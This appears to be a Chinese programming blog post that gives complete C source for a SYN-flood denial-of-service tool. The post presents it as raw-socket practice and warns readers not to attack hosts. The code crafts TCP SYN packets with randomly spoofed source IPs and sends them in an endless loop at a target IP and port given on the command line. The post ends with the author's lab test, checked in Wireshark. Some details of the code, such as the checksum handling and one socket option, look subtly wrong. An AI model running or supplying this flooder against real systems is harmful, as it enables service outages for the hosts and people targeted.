以下代码实现了使用原始套接字进行DOS攻击的程序,主要用于联系原始套接字的使用,读者切勿使用该程序,去攻击任何主机。
DOS攻击的实现原理是,使用程序,有意去破坏TCP的三次握手,并不断向目标主机发送一个基于TCP的数据包,且该数据包是SYN类型,数据包中的源IP地址为一个随机IP地址,这将导致目标主机收到SYN包之后,一直无法完成3次握手,从而导致系统资源的浪费。
源码如下:
#include <errno.h>
#include <netdb.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <unistd.h>
#include <signal.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <time.h>
#include <stdio.h>
unsigned short check_sum(unsigned short* addr,int len)
{
register int nleft =len;
register int sum = 0;
register short *w=addr;
short answer = 0;
while(nleft>1)
{
sum+=*w++;
nleft-=2;
}
if(nleft == 1)
{
*(unsigned char*)(&answer)=*(unsigned char*)w;
sum+=answer;
}
sum = (sum>>16)+(sum&0xffff);
sum+=(sum>>16);
answer = ~sum;
return answer;
}
void send_data(int sockfd,struct sockaddr_in * addr,int port)
{
char buf[1024];
struct iphdr* ip;
struct tcphdr* tcp;
int head_len;
head_len = sizeof(struct iphdr)+sizeof(struct tcphdr); /*SYN包不包含用户数据,即获取整个数据包长度*/
memset(buf,0,sizeof(buf));
ip = (struct iphdr*)buf;
ip->version = IPVERSION; /*IP版本*/
ip->ihl = sizeof(struct ip)>>2; /*IP包头长度*/
ip->tos=0; /*服务类型*/
ip->tot_len = htons(head_len); /*IP数据包长度*/
ip->id =0;
ip->frag_off = 0;
ip->ttl = MAXTTL; /*TTL时间*/
ip->protocol = IPPROTO_TCP; /*协议为TCP*/
ip->check = 0; /*检验和,后面赋值*/
ip->daddr = addr->sin_addr.s_addr; /*目标主机IP*/
tcp = (struct tcphdr*)(buf+sizeof(struct ip));
tcp->source = htons(port); /*本地发送端端口*/
tcp->dest = addr->sin_port; /*目标主机端口*/
tcp->seq= random(); /*随机的序列号,打破三次捂手*/
tcp->ack_seq = 0; /*不回应ack*/
tcp->doff = 5;
tcp->syn=1; /*数据类型为SYN请求*/
while(1)
{
ip->saddr = random(); /*计算校验和*/
tcp->check = check_sum((unsigned short*)tcp,sizeof(struct tcphdr));
sendto(sockfd,buf,head_len,0,(struct sockaddr*)addr,(socklen_t)sizeof(struct sockaddr_in));
}
}
/*
程序运行需要传入3个参数,分别为目标主机的IP地址或域名,目标主机的端口号,本机发送端端口号
例如:./a.out 192.168.103.108 8000 8888
*/
int main(int argc,char* argv[])
{
int sockfd = 0;
int port = 0;
struct sockaddr_in addr;
struct hostent* host;
int on = 1;
if(argc != 4)
{
printf("input err!ag:./a.out 192.168.103.108 8000 8888\n");
exit(1);
}
memset(&addr,0,sizeof(struct sockaddr_in));
addr.sin_family = AF_INET; /*IPV4协议*/
if(inet_aton(argv[1],&addr.sin_addr) == 0) /*获取IP地址的主机名,攻击使用第一个IP*/
{
host = gethostbyname(argv[1]);
if(NULL == host)
{
printf("gethostbyname fail!\n");
exit(1);
}
addr.sin_addr = *(struct in_addr*)(host->h_addr_list[0]);
}
port = atoi(argv[2]);
addr.sin_port = htons(port);
sockfd = socket(AF_INET,SOCK_RAW,IPPROTO_TCP); /*创建基于TCP的原始套接字*/
if(sockfd < 0)
{
printf("socker fail!\n");
return -1;
}
setsockopt(sockfd,IPPROTO_TCP,IP_HDRINCL,&on,sizeof(on));/*设置套接字的属性为自己构建IP头*/
port = atoi(argv[3]);
send_data(sockfd,&addr,port); /*发送SYN包*/
return 0;
}
若想验证结果,可使用 Wireshark进行抓包即可!我是使用虚拟机(192.168.103.128)攻击主机(192.168.103.108)的,从图中可以看到,主机收到了很多SYN包。